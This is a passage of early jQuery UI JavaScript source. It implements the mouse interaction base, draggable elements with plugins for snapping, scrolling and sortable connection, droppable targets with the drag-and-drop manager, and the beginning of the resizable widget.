$(document).bind('mousemove.' + this.widgetName, this._mouseMoveDelegate).bind('mouseup.' + this.widgetName, this._mouseUpDelegate);
return false;
},
mouseMove: function(e) {
if ($.browser.msie && !e.button) {
return this.mouseUp(e);
}
if (this._mouseStarted) {
this.mouseDrag(e);
return false;
}
if (this.mouseDistanceMet(e) && this.mouseDelayMet(e)) {
this._mouseStarted = (this.mouseStart(this._mouseDownEvent, e) !== false);
(this._mouseStarted ? this.mouseDrag(e) : this.mouseUp(e));
}
return !this._mouseStarted;
},
mouseUp: function(e) {
$(document).unbind('mousemove.' + this.widgetName, this._mouseMoveDelegate).unbind('mouseup.' + this.widgetName, this._mouseUpDelegate);
if (this._mouseStarted) {
this._mouseStarted = false;
this.mouseStop(e);
}
return false;
},
mouseDistanceMet: function(e) {
return (Math.max(Math.abs(this._mouseDownEvent.pageX - e.pageX), Math.abs(this._mouseDownEvent.pageY - e.pageY)) >= this.options.distance);
},
mouseDelayMet: function(e) {
return this._mouseDelayMet;
},
mouseStart: function(e) {},
mouseDrag: function(e) {},
mouseStop: function(e) {},
mouseCapture: function(e) {
return true;
}
};
$.ui.mouse.defaults = {
cancel: null,
distance: 1,
delay: 0
};
})(jQuery);
(function($) {
$.widget("ui.draggable", $.extend({}, $.ui.mouse, {
init: function() {
var o = this.options;
if (o.helper == 'original' && !(/(relative|absolute|fixed)/).test(this.element.css('position'))) this.element.css('position', 'relative');
this.element.addClass('ui-draggable');
(o.disabled && this.element.addClass('ui-draggable-disabled'));
this.mouseInit();
},
mouseStart: function(e) {
var o = this.options;
if (this.helper || o.disabled || $(e.target).is('.ui-resizable-handle')) return false;
var handle = !this.options.handle || !$(this.options.handle, this.element).length ? true : false;
$(this.options.handle, this.element).find("*").andSelf().each(function() {
if (this == e.target) handle = true;
});
if (!handle) return false;
if ($.ui.ddmanager) $.ui.ddmanager.current = this;
this.helper = $.isFunction(o.helper) ? $(o.helper.apply(this.element[0], [e])) : (o.helper == 'clone' ? this.element.clone() : this.element);
if (!this.helper.parents('body').length) this.helper.appendTo((o.appendTo == 'parent' ? this.element[0].parentNode : o.appendTo));
if (this.helper[0] != this.element[0] && !(/(fixed|absolute)/).test(this.helper.css("position"))) this.helper.css("position", "absolute");
this.margins = {
left: (parseInt(this.element.css("marginLeft"), 10) || 0),
top: (parseInt(this.element.css("marginTop"), 10) || 0)
};
this.cssPosition = this.helper.css("position");
this.offset = this.element.offset();
this.offset = {
top: this.offset.top - this.margins.top,
left: this.offset.left - this.margins.left
};
this.offset.click = {
left: e.pageX - this.offset.left,
top: e.pageY - this.offset.top
};
this.offsetParent = this.helper.offsetParent();
var po = this.offsetParent.offset();
if (this.offsetParent[0] == document.body && $.browser.mozilla) po = {
top: 0,
left: 0
};
this.offset.parent = {
top: po.top + (parseInt(this.offsetParent.css("borderTopWidth"), 10) || 0),
left: po.left + (parseInt(this.offsetParent.css("borderLeftWidth"), 10) || 0)
};
var p = this.element.position();
this.offset.relative = this.cssPosition == "relative" ? {
top: p.top - (parseInt(this.helper.css("top"), 10) || 0) + this.offsetParent[0].scrollTop,
left: p.left - (parseInt(this.helper.css("left"), 10) || 0) + this.offsetParent[0].scrollLeft
} : {
top: 0,
left: 0
};
this.originalPosition = this.generatePosition(e);
this.helperProportions = {
width: this.helper.outerWidth(),
height: this.helper.outerHeight()
};
if (o.cursorAt) {
if (o.cursorAt.left != undefined) this.offset.click.left = o.cursorAt.left + this.margins.left;
if (o.cursorAt.right != undefined) this.offset.click.left = this.helperProportions.width - o.cursorAt.right + this.margins.left;
if (o.cursorAt.top != undefined) this.offset.click.top = o.cursorAt.top + this.margins.top;
if (o.cursorAt.bottom != undefined) this.offset.click.top = this.helperProportions.height - o.cursorAt.bottom + this.margins.top;
}
if (o.containment) {
if (o.containment == 'parent') o.containment = this.helper[0].parentNode;
if (o.containment == 'document' || o.containment == 'window') this.containment = [0 - this.offset.relative.left - this.offset.parent.left, 0 - this.offset.relative.top - this.offset.parent.top, $(o.containment == 'document' ? document : window).width() - this.offset.relative.left - this.offset.parent.left - this.helperProportions.width - this.margins.left - (parseInt(this.element.css("marginRight"), 10) || 0), ($(o.containment == 'document' ? document : window).height() || document.body.parentNode.scrollHeight) - this.offset.relative.top - this.offset.parent.top - this.helperProportions.height - this.margins.top - (parseInt(this.element.css("marginBottom"), 10) || 0)];
if (!(/^(document|window|parent)$/).test(o.containment)) {
var ce = $(o.containment)[0];
var co = $(o.containment).offset();
this.containment = [co.left + (parseInt($(ce).css("borderLeftWidth"), 10) || 0) - this.offset.relative.left - this.offset.parent.left, co.top + (parseInt($(ce).css("borderTopWidth"), 10) || 0) - this.offset.relative.top - this.offset.parent.top, co.left + Math.max(ce.scrollWidth, ce.offsetWidth) - (parseInt($(ce).css("borderLeftWidth"), 10) || 0) - this.offset.relative.left - this.offset.parent.left - this.helperProportions.width - this.margins.left - (parseInt(this.element.css("marginRight"), 10) || 0), co.top + Math.max(ce.scrollHeight, ce.offsetHeight) - (parseInt($(ce).css("borderTopWidth"), 10) || 0) - this.offset.relative.top - this.offset.parent.top - this.helperProportions.height - this.margins.top - (parseInt(this.element.css("marginBottom"), 10) || 0)];
}
}
this.propagate("start", e);
this.helperProportions = {
width: this.helper.outerWidth(),
height: this.helper.outerHeight()
};
if ($.ui.ddmanager && !o.dropBehaviour) $.ui.ddmanager.prepareOffsets(this, e);
this.helper.addClass("ui-draggable-dragging");
this.mouseDrag(e);
return true;
},
convertPositionTo: function(d, pos) {
if (!pos) pos = this.position;
var mod = d == "absolute" ? 1 : -1;
return {
top: (pos.top + this.offset.relative.top * mod + this.offset.parent.top * mod - (this.cssPosition == "fixed" || (this.cssPosition == "absolute" && this.offsetParent[0] == document.body) ? 0 : this.offsetParent[0].scrollTop) * mod + (this.cssPosition == "fixed" ? $(document).scrollTop() : 0) * mod + this.margins.top * mod),
left: (pos.left + this.offset.relative.left * mod + this.offset.parent.left * mod - (this.cssPosition == "fixed" || (this.cssPosition == "absolute" && this.offsetParent[0] == document.body) ? 0 : this.offsetParent[0].scrollLeft) * mod + (this.cssPosition == "fixed" ? $(document).scrollLeft() : 0) * mod + this.margins.left * mod)
};
},
generatePosition: function(e) {
var o = this.options;
var position = {
top: (e.pageY - this.offset.click.top - this.offset.relative.top - this.offset.parent.top + (this.cssPosition == "fixed" || (this.cssPosition == "absolute" && this.offsetParent[0] == document.body) ? 0 : this.offsetParent[0].scrollTop) - (this.cssPosition == "fixed" ? $(document).scrollTop() : 0)),
left: (e.pageX - this.offset.click.left - this.offset.relative.left - this.offset.parent.left + (this.cssPosition == "fixed" || (this.cssPosition == "absolute" && this.offsetParent[0] == document.body) ? 0 : this.offsetParent[0].scrollLeft) - (this.cssPosition == "fixed" ? $(document).scrollLeft() : 0))
};
if (!this.originalPosition) return position;
if (this.containment) {
if (position.left < this.containment[0]) position.left = this.containment[0];
if (position.top < this.containment[1]) position.top = this.containment[1];
if (position.left > this.containment[2]) position.left = this.containment[2];
if (position.top > this.containment[3]) position.top = this.containment[3];
}
if (o.grid) {
var top = this.originalPosition.top + Math.round((position.top - this.originalPosition.top) / o.grid[1]) * o.grid[1];
position.top = this.containment ? (!(top < this.containment[1] || top > this.containment[3]) ? top : (!(top < this.containment[1]) ? top - o.grid[1] : top + o.grid[1])) : top;
var left = this.originalPosition.left + Math.round((position.left - this.originalPosition.left) / o.grid[0]) * o.grid[0];
position.left = this.containment ? (!(left < this.containment[0] || left > this.containment[2]) ? left : (!(left < this.containment[0]) ? left - o.grid[0] : left + o.grid[0])) : left;
}
return position;
},
mouseDrag: function(e) {
this.position = this.generatePosition(e);
this.positionAbs = this.convertPositionTo("absolute");
this.position = this.propagate("drag", e) || this.position;
if (!this.options.axis || this.options.axis != "y") this.helper[0].style.left = this.position.left + 'px';
if (!this.options.axis || this.options.axis != "x") this.helper[0].style.top = this.position.top + 'px';
if ($.ui.ddmanager) $.ui.ddmanager.drag(this, e);
return false;
},
mouseStop: function(e) {
var dropped = false;
if ($.ui.ddmanager && !this.options.dropBehaviour) var dropped = $.ui.ddmanager.drop(this, e);
if ((this.options.revert == "invalid" && !dropped) || (this.options.revert == "valid" && dropped) || this.options.revert === true) {
var self = this;
$(this.helper).animate(this.originalPosition, parseInt(this.options.revert, 10) || 500, function() {
self.propagate("stop", e);
self.clear();
});
} else {
this.propagate("stop", e);
this.clear();
}
return false;
},
clear: function() {
this.helper.removeClass("ui-draggable-dragging");
if (this.options.helper != 'original' && !this.cancelHelperRemoval) this.helper.remove();
this.helper = null;
this.cancelHelperRemoval = false;
},
plugins: {},
uiHash: function(e) {
return {
helper: this.helper,
position: this.position,
absolutePosition: this.positionAbs,
options: this.options
};
},
propagate: function(n, e) {
$.ui.plugin.call(this, n, [e, this.uiHash()]);
if (n == "drag") this.positionAbs = this.convertPositionTo("absolute");
return this.element.triggerHandler(n == "drag" ? n : "drag" + n, [e, this.uiHash()], this.options[n]);
},
destroy: function() {
if (!this.element.data('draggable')) return;
this.element.removeData("draggable").unbind(".draggable").removeClass('ui-draggable');
this.mouseDestroy();
}
}));
$.extend($.ui.draggable, {
defaults: {
appendTo: "parent",
axis: false,
cancel: ":input",
delay: 0,
distance: 1,
helper: "original"
}
});
$.ui.plugin.add("draggable", "cursor", {
start: function(e, ui) {
var t = $('body');
if (t.css("cursor")) ui.options._cursor = t.css("cursor");
t.css("cursor", ui.options.cursor);
},
stop: function(e, ui) {
if (ui.options._cursor) $('body').css("cursor", ui.options._cursor);
}
});
$.ui.plugin.add("draggable", "zIndex", {
start: function(e, ui) {
var t = $(ui.helper);
if (t.css("zIndex")) ui.options._zIndex = t.css("zIndex");
t.css('zIndex', ui.options.zIndex);
},
stop: function(e, ui) {
if (ui.options._zIndex) $(ui.helper).css('zIndex', ui.options._zIndex);
}
});
$.ui.plugin.add("draggable", "opacity", {
start: function(e, ui) {
var t = $(ui.helper);
if (t.css("opacity")) ui.options._opacity = t.css("opacity");
t.css('opacity', ui.options.opacity);
},
stop: function(e, ui) {
if (ui.options._opacity) $(ui.helper).css('opacity', ui.options._opacity);
}
});
$.ui.plugin.add("draggable", "iframeFix", {
start: function(e, ui) {
$(ui.options.iframeFix === true ? "iframe" : ui.options.iframeFix).each(function() {
$('<div class="ui-draggable-iframeFix" style="background: #fff;"></div>').css({
width: this.offsetWidth + "px",
height: this.offsetHeight + "px",
position: "absolute",
opacity: "0.001",
zIndex: 1000
}).css($(this).offset()).appendTo("body");
});
},
stop: function(e, ui) {
$("div.DragDropIframeFix").each(function() {
this.parentNode.removeChild(this);
});
}
});
$.ui.plugin.add("draggable", "scroll", {
start: function(e, ui) {
var o = ui.options;
var i = $(this).data("draggable");
o.scrollSensitivity = o.scrollSensitivity || 20;
o.scrollSpeed = o.scrollSpeed || 20;
i.overflowY = function(el) {
do {
if (/auto|scroll/.test(el.css('overflow')) || (/auto|scroll/).test(el.css('overflow-y'))) return el;
el = el.parent();
} while (el[0].parentNode);
return $(document);
}(this);
i.overflowX = function(el) {
do {
if (/auto|scroll/.test(el.css('overflow')) || (/auto|scroll/).test(el.css('overflow-x'))) return el;
el = el.parent();
} while (el[0].parentNode);
return $(document);
}(this);
if (i.overflowY[0] != document && i.overflowY[0].tagName != 'HTML') i.overflowYOffset = i.overflowY.offset();
if (i.overflowX[0] != document && i.overflowX[0].tagName != 'HTML') i.overflowXOffset = i.overflowX.offset();
},
drag: function(e, ui) {
var o = ui.options;
var i = $(this).data("draggable");
if (i.overflowY[0] != document && i.overflowY[0].tagName != 'HTML') {
if ((i.overflowYOffset.top + i.overflowY[0].offsetHeight) - e.pageY < o.scrollSensitivity) i.overflowY[0].scrollTop = i.overflowY[0].scrollTop + o.scrollSpeed;
if (e.pageY - i.overflowYOffset.top < o.scrollSensitivity) i.overflowY[0].scrollTop = i.overflowY[0].scrollTop - o.scrollSpeed;
} else {
if (e.pageY - $(document).scrollTop() < o.scrollSensitivity) $(document).scrollTop($(document).scrollTop() - o.scrollSpeed);
if ($(window).height() - (e.pageY - $(document).scrollTop()) < o.scrollSensitivity) $(document).scrollTop($(document).scrollTop() + o.scrollSpeed);
}
if (i.overflowX[0] != document && i.overflowX[0].tagName != 'HTML') {
if ((i.overflowXOffset.left + i.overflowX[0].offsetWidth) - e.pageX < o.scrollSensitivity) i.overflowX[0].scrollLeft = i.overflowX[0].scrollLeft + o.scrollSpeed;
if (e.pageX - i.overflowXOffset.left < o.scrollSensitivity) i.overflowX[0].scrollLeft = i.overflowX[0].scrollLeft - o.scrollSpeed;
} else {
if (e.pageX - $(document).scrollLeft() < o.scrollSensitivity) $(document).scrollLeft($(document).scrollLeft() - o.scrollSpeed);
if ($(window).width() - (e.pageX - $(document).scrollLeft()) < o.scrollSensitivity) $(document).scrollLeft($(document).scrollLeft() + o.scrollSpeed);
}
}
});
$.ui.plugin.add("draggable", "snap", {
start: function(e, ui) {
var inst = $(this).data("draggable");
inst.snapElements = [];
$(ui.options.snap === true ? '.ui-draggable' : ui.options.snap).each(function() {
var $t = $(this);
var $o = $t.offset();
if (this != inst.element[0]) inst.snapElements.push({
item: this,
width: $t.outerWidth(),
height: $t.outerHeight(),
top: $o.top,
left: $o.left
});
});
},
drag: function(e, ui) {
var inst = $(this).data("draggable");
var d = ui.options.snapTolerance || 20;
var x1 = ui.absolutePosition.left,
x2 = x1 + inst.helperProportions.width,
y1 = ui.absolutePosition.top,
y2 = y1 + inst.helperProportions.height;
for (var i = inst.snapElements.length - 1; i >= 0; i--) {
var l = inst.snapElements[i].left,
r = l + inst.snapElements[i].width,
t = inst.snapElements[i].top,
b = t + inst.snapElements[i].height;
if (!((l - d < x1 && x1 < r + d && t - d < y1 && y1 < b + d) || (l - d < x1 && x1 < r + d && t - d < y2 && y2 < b + d) || (l - d < x2 && x2 < r + d && t - d < y1 && y1 < b + d) || (l - d < x2 && x2 < r + d && t - d < y2 && y2 < b + d))) continue;
if (ui.options.snapMode != 'inner') {
var ts = Math.abs(t - y2) <= 20;
var bs = Math.abs(b - y1) <= 20;
var ls = Math.abs(l - x2) <= 20;
var rs = Math.abs(r - x1) <= 20;
if (ts) ui.position.top = inst.convertPositionTo("relative", {
top: t - inst.helperProportions.height,
left: 0
}).top;
if (bs) ui.position.top = inst.convertPositionTo("relative", {
top: b,
left: 0
}).top;
if (ls) ui.position.left = inst.convertPositionTo("relative", {
top: 0,
left: l - inst.helperProportions.width
}).left;
if (rs) ui.position.left = inst.convertPositionTo("relative", {
top: 0,
left: r
}).left;
}
if (ui.options.snapMode != 'outer') {
var ts = Math.abs(t - y1) <= 20;
var bs = Math.abs(b - y2) <= 20;
var ls = Math.abs(l - x1) <= 20;
var rs = Math.abs(r - x2) <= 20;
if (ts) ui.position.top = inst.convertPositionTo("relative", {
top: t,
left: 0
}).top;
if (bs) ui.position.top = inst.convertPositionTo("relative", {
top: b - inst.helperProportions.height,
left: 0
}).top;
if (ls) ui.position.left = inst.convertPositionTo("relative", {
top: 0,
left: l
}).left;
if (rs) ui.position.left = inst.convertPositionTo("relative", {
top: 0,
left: r - inst.helperProportions.width
}).left;
}
};
}
});
$.ui.plugin.add("draggable", "connectToSortable", {
start: function(e, ui) {
var inst = $(this).data("draggable");
inst.sortables = [];
$(ui.options.connectToSortable).each(function() {
if ($.data(this, 'sortable')) {
var sortable = $.data(this, 'sortable');
inst.sortables.push({
instance: sortable,
shouldRevert: sortable.options.revert
});
sortable.refreshItems();
sortable.propagate("activate", e, inst);
}
});
},
stop: function(e, ui) {
var inst = $(this).data("draggable");
$.each(inst.sortables, function() {
if (this.instance.isOver) {
this.instance.isOver = 0;
inst.cancelHelperRemoval = true;
this.instance.cancelHelperRemoval = false;
if (this.shouldRevert) this.instance.options.revert = true;
this.instance.mouseStop(e);
this.instance.element.triggerHandler("sortreceive", [e, $.extend(this.instance.ui(), {
sender: inst.element
})], this.instance.options["receive"]);
this.instance.options.helper = this.instance.options._helper;
} else {
this.instance.propagate("deactivate", e, inst);
}
});
},
drag: function(e, ui) {
var inst = $(this).data("draggable"),
self = this;
var checkPos = function(o) {
var l = o.left,
r = l + o.width,
t = o.top,
b = t + o.height;
return (l < (this.positionAbs.left + this.offset.click.left) && (this.positionAbs.left + this.offset.click.left) < r && t < (this.positionAbs.top + this.offset.click.top) && (this.positionAbs.top + this.offset.click.top) < b);
};
$.each(inst.sortables, function(i) {
if (checkPos.call(inst, this.instance.containerCache)) {
if (!this.instance.isOver) {
this.instance.isOver = 1;
this.instance.currentItem = $(self).clone().appendTo(this.instance.element).data("sortable-item", true);
this.instance.options._helper = this.instance.options.helper;
this.instance.options.helper = function() {
return ui.helper[0];
};
e.target = this.instance.currentItem[0];
this.instance.mouseCapture(e, true);
this.instance.mouseStart(e, true, true);
this.instance.offset.click.top = inst.offset.click.top;
this.instance.offset.click.left = inst.offset.click.left;
this.instance.offset.parent.left -= inst.offset.parent.left - this.instance.offset.parent.left;
this.instance.offset.parent.top -= inst.offset.parent.top - this.instance.offset.parent.top;
inst.propagate("toSortable", e);
}
if (this.instance.currentItem) this.instance.mouseDrag(e);
} else {
if (this.instance.isOver) {
this.instance.isOver = 0;
this.instance.cancelHelperRemoval = true;
this.instance.options.revert = false;
this.instance.mouseStop(e, true);
this.instance.options.helper = this.instance.options._helper;
this.instance.currentItem.remove();
if (this.instance.placeholder) this.instance.placeholder.remove();
inst.propagate("fromSortable", e);
}
};
});
}
});
$.ui.plugin.add("draggable", "stack", {
start: function(e, ui) {
var group = $.makeArray($(ui.options.stack.group)).sort(function(a, b) {
return (parseInt($(a).css("zIndex"), 10) || ui.options.stack.min) - (parseInt($(b).css("zIndex"), 10) || ui.options.stack.min);
});
$(group).each(function(i) {
this.style.zIndex = ui.options.stack.min + i;
});
this[0].style.zIndex = ui.options.stack.min + group.length;
}
});
})(jQuery);
(function($) {
$.widget("ui.droppable", {
init: function() {
this.element.addClass("ui-droppable");
this.isover = 0;
this.isout = 1;
var o = this.options,
accept = o.accept;
o = $.extend(o, {
accept: o.accept && o.accept.constructor == Function ? o.accept : function(d) {
return $(d).is(accept);
}
});
this.proportions = {
width: this.element[0].offsetWidth,
height: this.element[0].offsetHeight
};
$.ui.ddmanager.droppables.push(this);
},
plugins: {},
ui: function(c) {
return {
draggable: (c.currentItem || c.element),
helper: c.helper,
position: c.position,
absolutePosition: c.positionAbs,
options: this.options,
element: this.element
};
},
destroy: function() {
var drop = $.ui.ddmanager.droppables;
for (var i = 0; i < drop.length; i++)
if (drop[i] == this) drop.splice(i, 1);
this.element.removeClass("ui-droppable ui-droppable-disabled").removeData("droppable").unbind(".droppable");
},
over: function(e) {
var draggable = $.ui.ddmanager.current;
if (!draggable || (draggable.currentItem || draggable.element)[0] == this.element[0]) return;
if (this.options.accept.call(this.element, (draggable.currentItem || draggable.element))) {
$.ui.plugin.call(this, 'over', [e, this.ui(draggable)]);
this.element.triggerHandler("dropover", [e, this.ui(draggable)], this.options.over);
}
},
out: function(e) {
var draggable = $.ui.ddmanager.current;
if (!draggable || (draggable.currentItem || draggable.element)[0] == this.element[0]) return;
if (this.options.accept.call(this.element, (draggable.currentItem || draggable.element))) {
$.ui.plugin.call(this, 'out', [e, this.ui(draggable)]);
this.element.triggerHandler("dropout", [e, this.ui(draggable)], this.options.out);
}
},
drop: function(e, custom) {
var draggable = custom || $.ui.ddmanager.current;
if (!draggable || (draggable.currentItem || draggable.element)[0] == this.element[0]) return false;
var childrenIntersection = false;
this.element.find(".ui-droppable").not(".ui-draggable-dragging").each(function() {
var inst = $.data(this, 'droppable');
if (inst.options.greedy && $.ui.intersect(draggable, $.extend(inst, {
offset: inst.element.offset()
}), inst.options.tolerance)) {
childrenIntersection = true;
return false;
}
});
if (childrenIntersection) return false;
if (this.options.accept.call(this.element, (draggable.currentItem || draggable.element))) {
$.ui.plugin.call(this, 'drop', [e, this.ui(draggable)]);
this.element.triggerHandler("drop", [e, this.ui(draggable)], this.options.drop);
return true;
}
return false;
},
activate: function(e) {
var draggable = $.ui.ddmanager.current;
$.ui.plugin.call(this, 'activate', [e, this.ui(draggable)]);
if (draggable) this.element.triggerHandler("dropactivate", [e, this.ui(draggable)], this.options.activate);
},
deactivate: function(e) {
var draggable = $.ui.ddmanager.current;
$.ui.plugin.call(this, 'deactivate', [e, this.ui(draggable)]);
if (draggable) this.element.triggerHandler("dropdeactivate", [e, this.ui(draggable)], this.options.deactivate);
}
});
$.extend($.ui.droppable, {
defaults: {
disabled: false,
tolerance: 'intersect'
}
});
$.ui.intersect = function(draggable, droppable, toleranceMode) {
if (!droppable.offset) return false;
var x1 = (draggable.positionAbs || draggable.position.absolute).left,
x2 = x1 + draggable.helperProportions.width,
y1 = (draggable.positionAbs || draggable.position.absolute).top,
y2 = y1 + draggable.helperProportions.height;
var l = droppable.offset.left,
r = l + droppable.proportions.width,
t = droppable.offset.top,
b = t + droppable.proportions.height;
switch (toleranceMode) {
case 'fit':
return (l < x1 && x2 < r && t < y1 && y2 < b);
break;
case 'intersect':
return (l < x1 + (draggable.helperProportions.width / 2) && x2 - (draggable.helperProportions.width / 2) < r && t < y1 + (draggable.helperProportions.height / 2) && y2 - (draggable.helperProportions.height / 2) < b);
break;
case 'pointer':
return (l < ((draggable.positionAbs || draggable.position.absolute).left + (draggable.clickOffset || draggable.offset.click).left) && ((draggable.positionAbs || draggable.position.absolute).left + (draggable.clickOffset || draggable.offset.click).left) < r && t < ((draggable.positionAbs || draggable.position.absolute).top + (draggable.clickOffset || draggable.offset.click).top) && ((draggable.positionAbs || draggable.position.absolute).top + (draggable.clickOffset || draggable.offset.click).top) < b);
break;
case 'touch':
return ((y1 >= t && y1 <= b) || (y2 >= t && y2 <= b) || (y1 < t && y2 > b)) && ((x1 >= l && x1 <= r) || (x2 >= l && x2 <= r) || (x1 < l && x2 > r));
break;
default:
return false;
break;
}
};
$.ui.ddmanager = {
current: null,
droppables: [],
prepareOffsets: function(t, e) {
var m = $.ui.ddmanager.droppables;
var type = e ? e.type : null;
for (var i = 0; i < m.length; i++) {
if (m[i].options.disabled || (t && !m[i].options.accept.call(m[i].element, (t.currentItem || t.element)))) continue;
m[i].visible = m[i].element.css("display") != "none";
if (!m[i].visible) continue;
m[i].offset = m[i].element.offset();
m[i].proportions = {
width: m[i].element[0].offsetWidth,
height: m[i].element[0].offsetHeight
};
if (type == "dragstart" || type == "sortactivate") m[i].activate.call(m[i], e);
}
},
drop: function(draggable, e) {
var dropped = false;
$.each($.ui.ddmanager.droppables, function() {
if (!this.options) return;
if (!this.options.disabled && this.visible && $.ui.intersect(draggable, this, this.options.tolerance)) dropped = this.drop.call(this, e);
if (!this.options.disabled && this.visible && this.options.accept.call(this.element, (draggable.currentItem || draggable.element))) {
this.isout = 1;
this.isover = 0;
this.deactivate.call(this, e);
}
});
return dropped;
},
drag: function(draggable, e) {
if (draggable.options.refreshPositions) $.ui.ddmanager.prepareOffsets(draggable, e);
$.each($.ui.ddmanager.droppables, function() {
if (this.options.disabled || this.greedyChild || !this.visible) return;
var intersects = $.ui.intersect(draggable, this, this.options.tolerance);
var c = !intersects && this.isover == 1 ? 'isout' : (intersects && this.isover == 0 ? 'isover' : null);
if (!c) return;
var parentInstance;
if (this.options.greedy) {
var parent = this.element.parents('.ui-droppable:eq(0)');
if (parent.length) {
parentInstance = $.data(parent[0], 'droppable');
parentInstance.greedyChild = (c == 'isover' ? 1 : 0);
}
}
if (parentInstance && c == 'isover') {
parentInstance['isover'] = 0;
parentInstance['isout'] = 1;
parentInstance.out.call(parentInstance, e);
}
this[c] = 1;
this[c == 'isout' ? 'isover' : 'isout'] = 0;
this[c == "isover" ? "over" : "out"].call(this, e);
if (parentInstance && c == 'isout') {
parentInstance['isout'] = 0;
parentInstance['isover'] = 1;
parentInstance.over.call(parentInstance, e);
}
});
}
};
$.ui.plugin.add("droppable", "activeClass", {
activate: function(e, ui) {
$(this).addClass(ui.options.activeClass);
},
deactivate: function(e, ui) {
$(this).removeClass(ui.options.activeClass);
},
drop: function(e, ui) {
$(this).removeClass(ui.options.activeClass);
}
});
$.ui.plugin.add("droppable", "hoverClass", {
over: function(e, ui) {
$(this).addClass(ui.options.hoverClass);
},
out: function(e, ui) {
$(this).removeClass(ui.options.hoverClass);
},
drop: function(e, ui) {
$(this).removeClass(ui.options.hoverClass);
}
});
})(jQuery);
(function($) {
$.widget("ui.resizable", $.extend({}, $.ui.mouse, {
init: function() {
var self = this,
o = this.options;
var elpos = this.element.css('position');
this.originalElement = this.element;
this.element.addClass("ui-resizable").css({
position: /static/.test(elpos) ? 'relative' : elpos
});
$.extend(o, {
_aspectRatio: !! (o.aspectRatio),
helper: o.helper || o.ghost || o.animate ? o.helper || 'proxy' : null,
knobHandles: o.knobHandles === true ? 'ui-resizable-knob-handle' : o.knobHandles
});
var aBorder = '1px solid #DEDEDE';
o.defaultTheme = {
'ui-resizable': {
display: 'block'
},
'ui-resizable-handle': {
position: 'absolute',
background: '#F2F2F2',
fontSize: '0.1px'
},
'ui-resizable-n': {
cursor: 'n-resize',
height: '4px',
left: '0px',
right: '0px',
borderTop: aBorder
},
'ui-resizable-s': {
cursor: 's-resize',
height: '4px',
left: '0px',
right: '0px',
borderBottom: aBorder
},
'ui-resizable-e': {
cursor: 'e-resize',
width: '4px',
top: '0px',
bottom: '0px',
borderRight: aBorder
},
'ui-resizable-w': {
cursor: 'w-resize',
width: '4px',
top: '0px',
bottom: '0px',
borderLeft: aBorder
},
'ui-resizable-se': {
cursor: 'se-resize',
width: '4px',
height: '4px',
borderRight: aBorder,
borderBottom: aBorder
},
'ui-resizable-sw': {
cursor: 'sw-resize',
width: '4px',
height: '4px',
borderBottom: aBorder,
borderLeft: aBorder
},
'ui-resizable-ne': {
cursor: 'ne-resize',
width: '4px',
height: '4px',
borderRight: aBorder,
borderTop: aBorder
},
'ui-resizable-nw': {
cursor: 'nw-resize',
width: '4px',
height: '4px',
borderLeft: aBorder,
borderTop: aBorder
}
};
o.knobTheme = {
'ui-resizable-handle': {
background: '#F2F2F2',
border: '1px solid #808080',
height: '8px',
width: '8px'
},
'ui-resizable-n': {
cursor: 'n-resize',
top: '0px',
left: '45%'
},
'ui-resizable-s': {
cursor: 's-resize',
bottom: '0px',
left: '45%'
},
'ui-resizable-e': {
cursor: 'e-resize',
right: '0px',
top: '45%'
},
'ui-resizable-w': {
cursor: 'w-resize',
left: '0px',
top: '45%'
},
'ui-resizable-se': {
cursor: 'se-resize',
right: '0px',
bottom: '0px'
},
'ui-resizable-sw': {
cursor: 'sw-resize',
left: '0px',
bottom: '0px'
},
'ui-resizable-nw': {
cursor: 'nw-resize',
left: '0px',
top: '0px'
},
'ui-resizable-ne': {
cursor: 'ne-resize',
right: '0px',
top: '0px'
}
};
o._nodeName = this.element[0].nodeName;
if (o._nodeName.match(/canvas|textarea|input|select|button|img/i)) {
var el = this.element;
if (/relative/.test(el.css('position')) && $.browser.opera) el.css({
position: 'relative',
top: 'auto',
left: 'auto'
});
el.wrap($('<div class="ui-wrapper" style="overflow: hidden;"></div>').css({
position: el.css('position'),
width: el.outerWidth(),
height: el.outerHeight(),
top: el.css('top'),
left: el.css('left')
}));
var oel = this.element;
this.element = this.element.parent();
this.element.data('resizable', this);
this.element.css({
marginLeft: oel.css("marginLeft"),
marginTop: oel.css("marginTop"),
marginRight: oel.css("marginRight"),
marginBottom: oel.css("marginBottom")
});
oel.css({
marginLeft: 0,
marginTop: 0,
marginRight: 0,
marginBottom: 0
});
if ($.browser.safari && o.preventDefault) oel.css('resize', 'none');
o.proportionallyResize = oel.css({
position: 'static',
zoom: 1,
display: 'block'
});
this.element.css({
margin: oel.css('margin')
});
this._proportionallyResize();
}
if (!o.handles) o.handles = !$('.ui-resizable-handle', this.element).length ? "e,s,se" : {
n: '.ui-resizable-n',
e: '.ui-resizable-e',
s: '.ui-resizable-s',
w: '.ui-resizable-w',
se: '.ui-resizable-se',
sw: '.ui-resizable-sw',
ne: '.ui-resizable-ne',
nw: '.ui-resizable-nw'
};
if (o.handles.constructor == String) {
o.zIndex = o.zIndex || 1000;
if (o.handles == 'all') o.handles = 'n,e,s,w,se,sw,ne,nw';
var n = o.handles.split(",");
o.handles = {};
var insertionsDefault = {
handle: 'position: absolute; display: none; overflow:hidden;',
n: 'top: 0pt; width:100%;',
e: 'right: 0pt; height:100%;',
s: 'bottom: 0pt; width:100%;',
w: 'left: 0pt; height:100%;',
se: 'bottom: 0pt; right: 0px;',
sw: 'bottom: 0pt; left: 0px;',
ne: 'top: 0pt; right: 0px;',
nw: 'top: 0pt; left: 0px;'
};
for (var i = 0; i < n.length; i++) {
var handle = $.trim(n[i]),
dt = o.defaultTheme,
hname = 'ui-resizable-' + handle,
loadDefault = !$.ui.css(hname) && !o.knobHandles,
userKnobClass = $.ui.css('ui-resizable-knob-handle'),
allDefTheme = $.extend(dt[hname], dt['ui-resizable-handle']),
allKnobTheme = $.extend(o.knobTheme[hname], !userKnobClass ? o.knobTheme['ui-resizable-handle'] : {});
var applyZIndex = /sw|se|ne|nw/.test(handle) ? {
zIndex: ++o.zIndex
} : {};
var defCss = (loadDefault ? insertionsDefault[handle] : ''),
axis = $(['<div class="ui-resizable-handle ', hname, '" style="', defCss, insertionsDefault.handle, '"></div>'].join('')).css(applyZIndex);
o.handles[handle] = '.ui-resizable-' + handle;
this.element.append(axis.css(loadDefault ? allDefTheme : {}).css(o.knobHandles ? allKnobTheme : {}).addClass(o.knobHandles ? 'ui-resizable-knob-handle' : '').addClass(o.knobHandles));
}
if (o.knobHandles) this.element.addClass('ui-resizable-knob').css(!$.ui.css('ui-resizable-knob') ? {} : {});
}
this._renderAxis = function(target) {
target = target || this.element;
for (var i in o.handles) {
if (o.handles[i].constructor == String) o.handles[i] = $(o.handles[i], this.element).show();
